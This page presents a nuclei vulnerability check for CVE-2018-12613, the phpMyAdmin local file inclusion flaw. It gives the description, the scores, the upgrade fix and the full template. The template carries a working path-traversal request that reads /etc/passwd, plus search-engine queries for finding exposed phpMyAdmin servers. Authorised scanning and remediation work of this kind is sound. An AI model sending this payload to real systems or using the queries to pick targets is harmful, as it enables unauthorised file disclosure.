PhpMyAdmin <4.8.2 - Local File Inclusion

highseverity

8.8CVSS score

98.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

PhpMyAdmin before version 4.8.2 is susceptible to local file inclusion that allows an attacker to include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication).

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server.

Fix

Upgrade PhpMyAdmin to version 4.8.2 or later to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-12613 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-12613

info:
  name: PhpMyAdmin <4.8.2 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: PhpMyAdmin before version 4.8.2 is susceptible to local file inclusion that allows an attacker to include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication).
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: |
    Upgrade PhpMyAdmin to version 4.8.2 or later to fix the vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
    - https://www.phpmyadmin.net/security/PMASA-2018-4/
    - https://www.exploit-db.com/exploits/44928/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12613
    - https://security.gentoo.org/glsa/201904-16
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2018-12613
    cwe-id: CWE-287
    epss-score: 0.9835
    epss-percentile: 0.99917
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phpmyadmin
    product: phpmyadmin
    shodan-query:
      - http.title:"phpmyadmin"
      - http.component:"phpmyadmin"
      - cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"
    fofa-query:
      - title="phpmyadmin"
      - body="pma_servername" && body="4.8.4"
    google-query: intitle:"phpmyadmin"
    hunter-query: app.name="phpmyadmin"&&web.body="pma_servername"&&web.body="4.8.4"
  tags: cve,cve2018,vulhub,edb,phpmyadmin,lfi,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from